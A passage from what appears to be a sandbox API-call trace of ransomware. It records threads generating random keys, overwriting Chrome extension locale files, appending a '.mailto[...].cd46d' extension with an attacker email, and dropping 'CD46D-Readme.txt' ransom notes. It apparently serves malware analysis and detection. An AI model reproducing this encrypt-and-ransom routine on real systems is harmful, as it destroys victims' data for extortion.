Seed=0x1627fb94) returned 0x3160ceb6 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x41f4adbe [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x21d0be1b [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x7bae87e0 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0xcbc5a33 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x50a6b137 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x1ac1a82c [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x65ebcb9f [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x1de4ad90 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x7ace22ce [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x42d0cbd6 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x20d467d2 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x51b23711 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x42193c92 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x5d18dbef [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x7363efc0 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x614fc52a [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x6702036d [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x79abe91a [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x6ff94599 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x55aae222 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x3ad9d294 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x633a9bf2 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x553af1d0 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x2b9a8f07 [0198.409] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x3b994ef3 [0198.410] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x20e41cd1 [0198.410] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x7cbeba13 [0198.410] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x57f6bd40 [0198.410] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x2c927008 [0198.410] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x1daff18 [0198.410] RtlRandomEx (in: Seed=0x1627fb94 | out: Seed=0x1627fb94) returned 0x13ce6fe8 [0198.422] ReadFile (in: hFile=0x14b8, lpBuffer=0x12d01008, nNumberOfBytesToRead=0x117, lpNumberOfBytesRead=0x1627fb84, lpOverlapped=0x0 | out: lpBuffer=0x12d01008*, lpNumberOfBytesRead=0x1627fb84*=0x117, lpOverlapped=0x0) returned 1 [0198.422] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.422] WriteFile (in: hFile=0x14b8, lpBuffer=0x12d0d810*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0x1627fb80, lpOverlapped=0x0 | out: lpBuffer=0x12d0d810*, lpNumberOfBytesWritten=0x1627fb80*=0x117, lpOverlapped=0x0) returned 1 [0199.543] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef10 [0199.543] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af398 [0199.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af398) returned 1 [0199.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d0d810) returned 1 [0199.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d01008) returned 1 [0199.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fb028) returned 1 [0199.543] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2980) returned 1 [0199.543] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d8868 [0199.543] SetFilePointerEx (in: hFile=0x14b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.543] WriteFile (in: hFile=0x14b8, lpBuffer=0x12cf51a8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x1627fbe8, lpOverlapped=0x0 | out: lpBuffer=0x12cf51a8*, lpNumberOfBytesWritten=0x1627fbe8*=0x10b, lpOverlapped=0x0) returned 1 [0199.623] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf51a8) returned 1 [0199.623] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x937fa0) returned 1 [0199.623] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af398) returned 1 [0199.623] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8868) returned 1 [0199.623] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef10) returned 1 [0199.623] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9456b8) returned 1 [0199.624] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945b90) returned 1 [0199.624] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a00) returned 1 [0199.624] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c6390 [0199.624] wcscpy (in: _Dest=0xd4c6390, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json" [0199.624] wcscat (in: _Dest=0xd4c6390, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0199.624] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1627fba0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0199.624] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c9d30 [0199.678] FlushFileBuffers (hFile=0x14b8) returned 1 [0199.683] CloseHandle (hObject=0x14b8) returned 1 [0199.706] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b7288 [0199.706] wcscpy (in: _Dest=0x9b7288, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\" [0199.706] wcscat (in: _Dest=0x9b7288, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\CD46D-Readme.txt" [0199.706] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\cd46d-readme.txt")) returned 0xffffffff [0199.706] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0199.720] WriteFile (in: hFile=0x8fc, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x1627fba8, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x1627fba8*=0x6fd, lpOverlapped=0x0) returned 1 [0199.727] CloseHandle (hObject=0x8fc) returned 1 [0199.738] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b7288) returned 1 [0199.738] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99cd08) returned 1 Thread: id = 8408 os_tid = 0x18e4 [0193.471] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json")) returned 0x2020 [0193.472] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json", dwFileAttributes=0x20) returned 1 [0193.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb1c [0193.472] GetFileSizeEx (in: hFile=0xb1c, lpFileSize=0xa55f850 | out: lpFileSize=0xa55f850*=221) returned 1 [0193.472] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.472] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938478 [0193.472] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9384f0 [0193.472] NtQuerySystemTime (in: CurrentTime=0xa55f7b0 | out: CurrentTime=0xa55f7b0*=132174899680726000) returned 0x0 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x72ff785b [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x723905d6 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x5d237c62 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x1ea17167 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x16b49601 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x2240bd [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x7c8be0de [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x653b5622 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x658c6266 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x5cf2b087 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x3e82de98 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x477eb82 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x71466e32 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x1c678126 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x5dd7cd29 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x2772f36d [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x2f29c1ab [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x40d16ba4 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x115dd0a3 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x4305fc91 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x77efc82f [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0xb8eb14 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x5ad51b7d [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x2922ee41 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x40f59876 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x15c752aa [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x76ef9638 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x451faccd [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x7abc1273 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x5ed18543 [0193.473] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x35c7a3bd [0193.474] RtlRandomEx (in: Seed=0xa55f7bc | out: Seed=0xa55f7bc) returned 0x71ad430c [0193.486] ReadFile (hFile=0xb1c, lpBuffer=0x1331c850, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0xa55f7ac, lpOverlapped=0x0) [0193.487] SetFilePointerEx (in: hFile=0xb1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.487] WriteFile (in: hFile=0xb1c, lpBuffer=0x13329058*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0xa55f7a8, lpOverlapped=0x0 | out: lpBuffer=0x13329058*, lpNumberOfBytesWritten=0xa55f7a8*=0xdd, lpOverlapped=0x0) returned 1 [0195.150] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909320 [0195.150] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909438 [0195.150] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909438) returned 1 [0195.150] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13329058) returned 1 [0195.150] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1331c850) returned 1 [0195.150] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8da0) returned 1 [0195.150] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9a80) returned 1 [0195.150] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6d20 [0195.150] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8f9a80 [0195.151] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8da0 [0195.151] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909438 [0195.151] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909438) returned 1 [0195.151] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6d50 [0195.151] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909438 [0195.151] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095c8 [0195.151] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9095c8) returned 1 [0195.151] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8da0) returned 1 [0195.151] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9a80) returned 1 [0195.151] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x10b) returned 0x12cf4f78 [0195.151] SetFilePointerEx (in: hFile=0xb1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.151] WriteFile (in: hFile=0xb1c, lpBuffer=0x12cf4f78*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xa55f810, lpOverlapped=0x0 | out: lpBuffer=0x12cf4f78*, lpNumberOfBytesWritten=0xa55f810*=0x10b, lpOverlapped=0x0) returned 1 [0197.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf4f78) returned 1 [0197.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6d50) returned 1 [0197.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909438) returned 1 [0197.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6d20) returned 1 [0197.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909320) returned 1 [0197.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938478) returned 1 [0197.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938518) returned 1 [0197.726] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938540) returned 1 [0197.726] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4944f8 [0197.726] wcscpy (in: _Dest=0xd4944f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" [0197.726] wcscat (in: _Dest=0xd4944f8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0197.726] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xa55f7c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0197.727] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8a10 [0197.903] FlushFileBuffers (hFile=0xb1c) returned 1 [0197.915] CloseHandle (hObject=0xb1c) returned 1 [0197.974] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b5b78 [0197.974] wcscpy (in: _Dest=0x9b5b78, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\" [0197.974] wcscat (in: _Dest=0x9b5b78, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\CD46D-Readme.txt" [0197.974] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\cd46d-readme.txt")) returned 0xffffffff [0197.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0198.100] WriteFile (in: hFile=0x584, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0xa55f7d0, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0xa55f7d0*=0x6fd, lpOverlapped=0x0) returned 1 [0198.101] CloseHandle (hObject=0x584) returned 1 [0198.101] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b5b78) returned 1 [0198.101] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99d800) returned 1 Thread: id = 8409 os_tid = 0x18e8 [0193.491] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json")) returned 0x2020 [0193.492] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json", dwFileAttributes=0x20) returned 1 [0198.423] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x890 [0198.423] GetFileSizeEx (in: hFile=0x890, lpFileSize=0x161cfdbc | out: lpFileSize=0x161cfdbc*=215) returned 1 [0198.423] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9457d0 [0198.423] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9455f0 [0198.423] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945ca8 [0198.423] NtQuerySystemTime (in: CurrentTime=0x161cfd1c | out: CurrentTime=0x161cfd1c*=132174899730178000) returned 0x0 [0198.423] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x66212a10 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x50f723f0 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x607a4300 [0198.424] RtlRandomEx (in: Seed=0x161cfd28 | out: Seed=0x161cfd28) returned 0x1abcd0f0 [0198.424] RtlRandomEx (in: 